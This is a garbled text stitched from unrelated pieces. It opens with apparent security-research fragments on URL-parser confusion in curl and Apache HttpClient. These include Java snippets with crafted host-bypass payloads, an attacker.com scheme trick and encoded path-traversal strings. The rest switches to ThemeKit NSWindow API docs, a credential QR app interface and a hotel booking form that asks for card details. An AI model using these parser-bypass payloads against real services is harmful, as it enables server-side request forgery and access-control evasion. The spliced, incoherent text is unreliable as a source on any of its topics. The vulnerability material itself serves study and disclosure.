Array(
[scheme] => longsubdomain.attacker.com
[host] => api.vulnerable.com
[path] => /)
[url] =>
http://longsubdomain.attacker.com://api.vulnerable.com/
[error_message] =>
Could not resolve host: longsubdomain.attacker.com
Patch 🤔
Latest versions of curl are not vulnerable to this attack
CVE-2017-9502 - URL file scheme drive letter buffer overflow
String payload ="http://<IP_ADDRESS>:80/";
URL payloadURL = new URL(payload);
URI payloadURI = new URI(payload);
HttpHost target = URIUtils.extractHost(payloadURI);
if (target!=null) {
return target.getHostName();
}
String payload ="http://<IP_ADDRESS>:80/";
URL payloadURL = new URL(payload); // <IP_ADDRESS>
URI payloadURI = new URI(payload); // <IP_ADDRESS>
HttpHost target = URIUtils.extractHost(payloadURI);
if (target!=null) {
return target.getHostName();
}
String payload ="http://%20:80/";
URL payloadURL = new URL(payload); // %20
URI payloadURI = new URI(payload); // null
HttpHost target = URIUtils.extractHost(payloadURI);
if (target!=null) {
return target.getHostName();
}
if (host == null) { // normal parse failed;
// let's do it ourselves
// authority does not seem to care about
// the valid character-set for host names
host = uri.getAuthority();
host = uri.getAuthority();
if (host != null) {
// Strip off any leading user credentials
final int at = host.indexOf('@');
if (at >= 0) {
if (host.length() > at+1 ) {
host = host.substring(at+1);
} else {
host = null; // @ on its own
}
}
...
final int colon = host.indexOf(':');
http://%40<IP_ADDRESS>%3a443@133.37.13:80/
String payload ="http://%40<IP_ADDRESS>%3a443@133.37.13:80/";
URL payloadURL = new URL(payload);
URI payloadURI = new URI(payload);
HttpHost target = URIUtils.extractHost(payloadURI);
if (target!=null) {
return target.getHostName();
}
http://%40<IP_ADDRESS>%3a443@133.37.13:80/
String payload ="http://%40<IP_ADDRESS>%3a443@133.37.13:80/";
URL payloadURL = new URL(payload); // 133.37.13
URI payloadURI = new URI(payload); // null
HttpHost target = URIUtils.extractHost(payloadURI);
if (target!=null) {
return target.getHostName(); // <IP_ADDRESS>
}
Won't Fix
"Apache HttpClient can be used to generate any arbitrary valid (or even invalid) HTTP messages with any arbitrary request URI (valid or invalid) and send them to the origin server for execution."
"For example, the backslash character \ can often be a dangerous character to let through a gatekeeper, because it can be used to access different directories. The backslash is represented in UTF-8 as the byte sequence <5C> However, as a non-shortest form, backslash could also be represented as the byte sequence <C1 9C>"
"Again, incoming characters must never be deleted, because that can cause security problems."
"Apache-HttpClient/4.5.8"
"Apache-HttpClient/4.5.9"
/a/b/%D0%AE%D0%AE%D0%AF%D0%AE%D0%AE%D0%AF%D0%BF1/items?q=1
/a/b/..%2F..%2F%3F1/items?q=1
Many web servers support path normalization:
/long/../path/here -> /path/here
/long/./path/here -> /long/path/here
API?


NSWindow
public extension NSWindow
NSWindow
ThemeKit extension.
-
Any window specific theme.
This is, usually,
nil
, which means the current global theme will be used. Please note that when using window specific themes, only the associatedNSAppearance
will be automatically set. All theme aware assets (ThemeColor
,ThemeGradient
andThemeImage
) should call methods that returns a resolved color instead (which means they don’t change with the theme change, you need to observe theme changes manually, and set colors afterwards):ThemeColor.color(for view:, selector:)
ThemeGradient.gradient(for view:, selector:)
ThemeImage.image(for view:, selector:)
Additionaly, please note that system overriden colors (
NSColor.*
) will always use the global theme.Declaration
Swift
@objc var windowTheme: Theme? { get set }
-
Returns the current effective theme (read-only).
Declaration
Swift
@objc var windowEffectiveTheme: Theme { get }
-
Returns the current effective appearance (read-only).
Declaration
Swift
@objc var windowEffectiveThemeAppearance: NSAppearance? { get }
-
Theme window if needed.
Declaration
Swift
@objc func theme()
-
Theme window if compliant to ThemeManager.windowThemePolicy (and if needed).
Declaration
Swift
@objc func themeIfCompliantWithWindowThemePolicy()
-
Theme all windows compliant to ThemeManager.windowThemePolicy (and if needed).
Declaration
Swift
@objc static func themeAllWindows()


Credentials
Send my Credential
Verify a Credential
Home
Display
Verify
Scan QR
No QR code detected.
Home
Display
Verify
QR
Cancel


Hotel Booking Form
Personal Details
First Name* :
Last Name* :
Email* :
Mobile no.*:
Address:
City* :
Select City
Pune
Bangalore
Chennai
Hyderabad
State* :
Select State
Maharashtra
Karnataka
Tamilnadu
Telangana
Number of guest staying*:
1
2
3
4
5
6
7
8
9
Note: *Minimum 3 members can share one room.
No of rooms booked:
1
Payment Details
Card Holder Name *:
Debit Card Number* :
CVV*:
Expiration month*:
Expiration Year*: